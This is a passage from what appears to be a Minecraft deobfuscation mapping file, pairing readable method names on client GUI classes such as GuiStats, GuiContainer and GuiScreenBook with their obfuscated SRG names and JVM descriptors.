(Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$000 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$400 (Lnet/minecraft/client/gui/achievement/GuiStats;IIII)V net/minecraft/client/gui/achievement/GuiStats/access$400 (Lnet/minecraft/client/gui/achievement/GuiStats;IIII)V +MD: net/minecraft/client/gui/achievement/GuiStats/access$1000 (Lnet/minecraft/client/gui/achievement/GuiStats;IIIIII)V net/minecraft/client/gui/achievement/GuiStats/access$1000 (Lnet/minecraft/client/gui/achievement/GuiStats;IIIIII)V +MD: net/minecraft/client/gui/achievement/GuiStats/access$1500 (Lnet/minecraft/client/gui/achievement/GuiStats;IILnet/minecraft/item/Item;)V net/minecraft/client/gui/achievement/GuiStats/access$1500 (Lnet/minecraft/client/gui/achievement/GuiStats;IILnet/minecraft/item/Item;)V +MD: net/minecraft/client/gui/achievement/GuiStats/initGui ()V net/minecraft/client/gui/achievement/GuiStats/func_73866_w_ ()V +MD: net/minecraft/client/gui/achievement/GuiStats/drawButtonBackground (II)V net/minecraft/client/gui/achievement/GuiStats/func_146531_b (II)V +MD: net/minecraft/client/gui/achievement/GuiStats/access$100 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/stats/StatFileWriter; net/minecraft/client/gui/achievement/GuiStats/access$100 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/stats/StatFileWriter; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1300 (Lnet/minecraft/client/gui/achievement/GuiStats;IIIIII)V net/minecraft/client/gui/achievement/GuiStats/access$1300 (Lnet/minecraft/client/gui/achievement/GuiStats;IIIIII)V +MD: net/minecraft/client/gui/achievement/GuiStats/drawSprite (IIII)V net/minecraft/client/gui/achievement/GuiStats/func_146527_c (IIII)V +MD: net/minecraft/client/gui/achievement/GuiStats/access$200 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$200 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/doesGuiPauseGame ()Z net/minecraft/client/gui/achievement/GuiStats/func_73868_f ()Z +MD: net/minecraft/client/gui/achievement/GuiStats/access$300 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$300 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$500 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$500 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/func_175366_f ()V net/minecraft/client/gui/achievement/GuiStats/func_175366_f ()V +MD: net/minecraft/client/gui/achievement/GuiStats/access$600 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$600 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/createButtons ()V net/minecraft/client/gui/achievement/GuiStats/func_146541_h ()V +MD: net/minecraft/client/gui/achievement/GuiStats/access$700 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$700 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$800 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$800 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$900 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$900 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1100 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1100 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/handleMouseInput ()V net/minecraft/client/gui/achievement/GuiStats/func_146274_d ()V +MD: net/minecraft/client/gui/achievement/GuiStats/access$1200 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1200 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1400 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1400 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1600 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1600 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1700 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1700 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1800 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1800 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$1900 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$1900 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$2000 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$2000 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$2100 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$2100 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/achievement/GuiStats/access$2200 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/gui/achievement/GuiStats/access$2200 (Lnet/minecraft/client/gui/achievement/GuiStats;)Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/gui/IProgressMeter/doneLoading ()V net/minecraft/client/gui/IProgressMeter/func_146509_g ()V +MD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/setSelected (III)V net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/func_178011_a (III)V +MD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/mousePressed (IIIIII)Z net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/mouseReleased (IIIIII)V net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/setSelected (III)V net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/func_178011_a (III)V +MD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/mousePressed (IIIIII)Z net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/func_148278_a (IIIIII)Z +MD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/drawEntry (IIIIIIIZ)V net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/func_180790_a (IIIIIIIZ)V +MD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/mouseReleased (IIIIII)V net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/func_148277_b (IIIIII)V +MD: net/minecraft/client/gui/GuiKeyBindingList/access$100 (Lnet/minecraft/client/gui/GuiKeyBindingList;)Lnet/minecraft/client/Minecraft; net/minecraft/client/gui/GuiKeyBindingList/access$100 (Lnet/minecraft/client/gui/GuiKeyBindingList;)Lnet/minecraft/client/Minecraft; +MD: net/minecraft/client/gui/GuiKeyBindingList/getSize ()I net/minecraft/client/gui/GuiKeyBindingList/func_148127_b ()I +MD: net/minecraft/client/gui/GuiKeyBindingList/getListEntry (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; net/minecraft/client/gui/GuiKeyBindingList/func_148180_b (I)Lnet/minecraft/client/gui/GuiListExtended$IGuiListEntry; +MD: net/minecraft/client/gui/GuiKeyBindingList/access$200 (Lnet/minecraft/client/gui/GuiKeyBindingList;)Lnet/minecraft/client/gui/GuiControls; net/minecraft/client/gui/GuiKeyBindingList/access$200 (Lnet/minecraft/client/gui/GuiKeyBindingList;)Lnet/minecraft/client/gui/GuiControls; +MD: net/minecraft/client/gui/GuiKeyBindingList/getListWidth ()I net/minecraft/client/gui/GuiKeyBindingList/func_148139_c ()I +MD: net/minecraft/client/gui/GuiKeyBindingList/access$300 (Lnet/minecraft/client/gui/GuiKeyBindingList;)I net/minecraft/client/gui/GuiKeyBindingList/access$300 (Lnet/minecraft/client/gui/GuiKeyBindingList;)I +MD: net/minecraft/client/gui/GuiKeyBindingList/getScrollBarX ()I net/minecraft/client/gui/GuiKeyBindingList/func_148137_d ()I +MD: net/minecraft/client/gui/GuiControls/keyTyped (CI)V net/minecraft/client/gui/GuiControls/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiControls/drawScreen (IIF)V net/minecraft/client/gui/GuiControls/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiControls/mouseClicked (III)V net/minecraft/client/gui/GuiControls/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiControls/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiControls/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiControls/initGui ()V net/minecraft/client/gui/GuiControls/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiControls/mouseReleased (III)V net/minecraft/client/gui/GuiControls/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiControls/handleMouseInput ()V net/minecraft/client/gui/GuiControls/func_146274_d ()V +MD: net/minecraft/client/gui/inventory/GuiContainer/updateDragSplitting ()V net/minecraft/client/gui/inventory/GuiContainer/func_146980_g ()V +MD: net/minecraft/client/gui/inventory/GuiContainer/keyTyped (CI)V net/minecraft/client/gui/inventory/GuiContainer/func_73869_a (CI)V +MD: net/minecraft/client/gui/inventory/GuiContainer/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiContainer/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiContainer/drawScreen (IIF)V net/minecraft/client/gui/inventory/GuiContainer/func_73863_a (IIF)V +MD: net/minecraft/client/gui/inventory/GuiContainer/mouseClicked (III)V net/minecraft/client/gui/inventory/GuiContainer/func_73864_a (III)V +MD: net/minecraft/client/gui/inventory/GuiContainer/mouseClickMove (IIIJ)V net/minecraft/client/gui/inventory/GuiContainer/func_146273_a (IIIJ)V +MD: net/minecraft/client/gui/inventory/GuiContainer/drawSlot (Lnet/minecraft/inventory/Slot;)V net/minecraft/client/gui/inventory/GuiContainer/func_146977_a (Lnet/minecraft/inventory/Slot;)V +MD: net/minecraft/client/gui/inventory/GuiContainer/isMouseOverSlot (Lnet/minecraft/inventory/Slot;II)Z net/minecraft/client/gui/inventory/GuiContainer/func_146981_a (Lnet/minecraft/inventory/Slot;II)Z +MD: net/minecraft/client/gui/inventory/GuiContainer/handleMouseClick (Lnet/minecraft/inventory/Slot;III)V net/minecraft/client/gui/inventory/GuiContainer/func_146984_a (Lnet/minecraft/inventory/Slot;III)V +MD: net/minecraft/client/gui/inventory/GuiContainer/drawItemStack (Lnet/minecraft/item/ItemStack;IILjava/lang/String;)V net/minecraft/client/gui/inventory/GuiContainer/func_146982_a (Lnet/minecraft/item/ItemStack;IILjava/lang/String;)V +MD: net/minecraft/client/gui/inventory/GuiContainer/initGui ()V net/minecraft/client/gui/inventory/GuiContainer/func_73866_w_ ()V +MD: net/minecraft/client/gui/inventory/GuiContainer/checkHotbarKeys (I)Z net/minecraft/client/gui/inventory/GuiContainer/func_146983_a (I)Z +MD: net/minecraft/client/gui/inventory/GuiContainer/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiContainer/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiContainer/mouseReleased (III)V net/minecraft/client/gui/inventory/GuiContainer/func_146286_b (III)V +MD: net/minecraft/client/gui/inventory/GuiContainer/getSlotAtPosition (II)Lnet/minecraft/inventory/Slot; net/minecraft/client/gui/inventory/GuiContainer/func_146975_c (II)Lnet/minecraft/inventory/Slot; +MD: net/minecraft/client/gui/inventory/GuiContainer/isPointInRegion (IIIIII)Z net/minecraft/client/gui/inventory/GuiContainer/func_146978_c (IIIIII)Z +MD: net/minecraft/client/gui/inventory/GuiContainer/doesGuiPauseGame ()Z net/minecraft/client/gui/inventory/GuiContainer/func_73868_f ()Z +MD: net/minecraft/client/gui/inventory/GuiContainer/updateScreen ()V net/minecraft/client/gui/inventory/GuiContainer/func_73876_c ()V +MD: net/minecraft/client/gui/inventory/GuiContainer/onGuiClosed ()V net/minecraft/client/gui/inventory/GuiContainer/func_146281_b ()V +MD: net/minecraft/client/gui/GuiRepair/renameItem ()V net/minecraft/client/gui/GuiRepair/func_147090_g ()V +MD: net/minecraft/client/gui/GuiRepair/keyTyped (CI)V net/minecraft/client/gui/GuiRepair/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiRepair/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/GuiRepair/func_146976_a (FII)V +MD: net/minecraft/client/gui/GuiRepair/drawScreen (IIF)V net/minecraft/client/gui/GuiRepair/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiRepair/mouseClicked (III)V net/minecraft/client/gui/GuiRepair/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiRepair/sendProgressBarUpdate (Lnet/minecraft/inventory/Container;II)V net/minecraft/client/gui/GuiRepair/func_71112_a (Lnet/minecraft/inventory/Container;II)V +MD: net/minecraft/client/gui/GuiRepair/sendSlotContents (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V net/minecraft/client/gui/GuiRepair/func_71111_a (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/gui/GuiRepair/updateCraftingInventory (Lnet/minecraft/inventory/Container;Ljava/util/List;)V net/minecraft/client/gui/GuiRepair/func_71110_a (Lnet/minecraft/inventory/Container;Ljava/util/List;)V +MD: net/minecraft/client/gui/GuiRepair/sendAllWindowProperties (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V net/minecraft/client/gui/GuiRepair/func_175173_a (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/client/gui/GuiRepair/initGui ()V net/minecraft/client/gui/GuiRepair/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiRepair/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/GuiRepair/func_146979_b (II)V +MD: net/minecraft/client/gui/GuiRepair/onGuiClosed ()V net/minecraft/client/gui/GuiRepair/func_146281_b ()V +MD: net/minecraft/client/gui/inventory/GuiBeacon$CancelButton/drawButtonForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiBeacon$CancelButton/func_146111_b (II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon$ConfirmButton/drawButtonForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiBeacon$ConfirmButton/func_146111_b (II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/drawButtonForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/func_146111_b (II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon$Button/drawButton (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/inventory/GuiBeacon$Button/func_146112_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon$Button/func_146140_b (Z)V net/minecraft/client/gui/inventory/GuiBeacon$Button/func_146140_b (Z)V +MD: net/minecraft/client/gui/inventory/GuiBeacon$Button/func_146141_c ()Z net/minecraft/client/gui/inventory/GuiBeacon$Button/func_146141_c ()Z +MD: net/minecraft/client/gui/inventory/GuiBeacon/access$000 ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/gui/inventory/GuiBeacon/access$000 ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/gui/inventory/GuiBeacon/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiBeacon/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiBeacon/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/inventory/GuiBeacon/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/inventory/GuiBeacon/access$100 (Lnet/minecraft/client/gui/inventory/GuiBeacon;Ljava/lang/String;II)V net/minecraft/client/gui/inventory/GuiBeacon/access$100 (Lnet/minecraft/client/gui/inventory/GuiBeacon;Ljava/lang/String;II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon/initGui ()V net/minecraft/client/gui/inventory/GuiBeacon/func_73866_w_ ()V +MD: net/minecraft/client/gui/inventory/GuiBeacon/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiBeacon/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon/access$200 (Lnet/minecraft/client/gui/inventory/GuiBeacon;Ljava/lang/String;II)V net/minecraft/client/gui/inventory/GuiBeacon/access$200 (Lnet/minecraft/client/gui/inventory/GuiBeacon;Ljava/lang/String;II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon/access$300 (Lnet/minecraft/client/gui/inventory/GuiBeacon;Ljava/lang/String;II)V net/minecraft/client/gui/inventory/GuiBeacon/access$300 (Lnet/minecraft/client/gui/inventory/GuiBeacon;Ljava/lang/String;II)V +MD: net/minecraft/client/gui/inventory/GuiBeacon/updateScreen ()V net/minecraft/client/gui/inventory/GuiBeacon/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenBook$NextPageButton/drawButton (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiScreenBook$NextPageButton/func_146112_a (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiScreenBook/access$000 ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/gui/GuiScreenBook/access$000 ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/gui/GuiScreenBook/keyTyped (CI)V net/minecraft/client/gui/GuiScreenBook/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiScreenBook/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenBook/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenBook/mouseClicked (III)V net/minecraft/client/gui/GuiScreenBook/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreenBook/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenBook/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenBook/handleComponentClick (Lnet/minecraft/util/IChatComponent;)Z net/minecraft/client/gui/GuiScreenBook/func_175276_a (Lnet/minecraft/util/IChatComponent;)Z +MD: net/minecraft/client/gui/GuiScreenBook/pageSetCurrent (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreenBook/func_146457_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiScreenBook/sendBookToServer (Z)V net/minecraft/client/gui/GuiScreenBook/func_146462_a (Z)V +MD: net/minecraft/client/gui/GuiScreenBook/initGui ()V net/minecraft/client/gui/GuiScreenBook/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenBook/keyTypedInBook (CI)V net/minecraft/client/gui/GuiScreenBook/func_146463_b (CI)V +MD: net/minecraft/client/gui/GuiScreenBook/func_175385_b (II)Lnet/minecraft/util/IChatComponent; net/minecraft/client/gui/GuiScreenBook/func_175385_b (II)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/gui/GuiScreenBook/pageInsertIntoCurrent (Ljava/lang/String;)V net/minecraft/client/gui/GuiScreenBook/func_146459_b (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiScreenBook/keyTypedInTitle (CI)V net/minecraft/client/gui/GuiScreenBook/func_146460_c (CI)V +MD: net/minecraft/client/gui/GuiScreenBook/updateScreen ()V net/minecraft/client/gui/GuiScreenBook/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenBook/updateButtons ()V net/minecraft/client/gui/GuiScreenBook/func_146464_h ()V +MD: net/minecraft/client/gui/GuiScreenBook/addNewPage ()V net/minecraft/client/gui/GuiScreenBook/func_146461_i ()V +MD: net/minecraft/client/gui/GuiScreenBook/pageGetCurrent ()Ljava/lang/String; net/minecraft/client/gui/GuiScreenBook/func_146456_p ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiScreenBook/onGuiClosed ()V net/minecraft/client/gui/GuiScreenBook/func_146281_b ()V +MD: net/minecraft/client/gui/inventory/GuiBrewingStand/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiBrewingStand/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiBrewingStand/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiBrewingStand/func_146979_b (II)V +MD: net/minecraft/client/gui/GuiCommandBlock/func_175388_a ()V net/minecraft/client/gui/GuiCommandBlock/func_175388_a ()V +MD: net/minecraft/client/gui/GuiCommandBlock/keyTyped (CI)V net/minecraft/client/gui/GuiCommandBlock/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiCommandBlock/drawScreen (IIF)V net/minecraft/client/gui/GuiCommandBlock/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiCommandBlock/mouseClicked (III)V net/minecraft/client/gui/GuiCommandBlock/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiCommandBlock/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiCommandBlock/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiCommandBlock/initGui ()V net/minecraft/client/gui/GuiCommandBlock/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiCommandBlock/updateScreen ()V net/minecraft/client/gui/GuiCommandBlock/func_73876_c ()V +MD: net/minecraft/client/gui/GuiCommandBlock/onGuiClosed ()V net/minecraft/client/gui/GuiCommandBlock/func_146281_b ()V +MD: net/minecraft/client/gui/inventory/GuiChest/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiChest/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiChest/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiChest/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/GuiCrafting/drawGuiContainerBackgroundLayer (FII)V net/minecraft/client/gui/inventory/GuiCrafting/func_146976_a (FII)V +MD: net/minecraft/client/gui/inventory/GuiCrafting/drawGuiContainerForegroundLayer (II)V net/minecraft/client/gui/inventory/GuiCrafting/func_146979_b (II)V +MD: net/minecraft/client/gui/inventory/CreativeCrafting/sendProgressBarUpdate (Lnet/minecraft/inventory/Container;II)V net/minecraft/client/gui/inventory/CreativeCrafting/func_71112_a (Lnet/minecraft/inventory/Container;II)V +MD: net/minecraft/client/gui/inventory/CreativeCrafting/sendSlotContents (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V net/minecraft/client/gui/inventory/CreativeCrafting/func_71111_a (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/gui/inventory/CreativeCrafting/updateCraftingInventory (Lnet/minecraft/inventory/Container;Ljava/util/List;)V net/minecraft/client/gui/inventory/CreativeCrafting/func_71110_a (Lnet/minecraft/inventory/Container;Ljava/util/List;)V +MD: net/minecraft/client/gui/inventory/CreativeCrafting/sendAllWindowProperties (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V net/minecraft/client/gui/inventory/CreativeCrafting/func_175173_a (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/scrollTo (F)V net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_148329_a (F)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/retrySlotClick (IIZLnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_75133_b (IIZLnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/canMergeSlot (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_94530_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/canDragIntoSlot (Lnet/minecraft/inventory/Slot;)Z net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_94531_b (Lnet/minecraft/inventory/Slot;)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_148328_e ()Z net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/func_148328_e ()Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/getSlotStackLimit ()I net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75219_a ()I +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/decrStackSize (I)Lnet/minecraft/item/ItemStack; net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75209_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/access$100 (Lnet/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot;)Lnet/minecraft/inventory/Slot; net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/access$100 (Lnet/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot;)Lnet/minecraft/inventory/Slot; +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/isHere (Lnet/minecraft/inventory/IInventory;I)Z net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75217_a (Lnet/minecraft/inventory/IInventory;I)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/getItemStackLimit (Lnet/minecraft/item/ItemStack;)I net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/func_178170_b 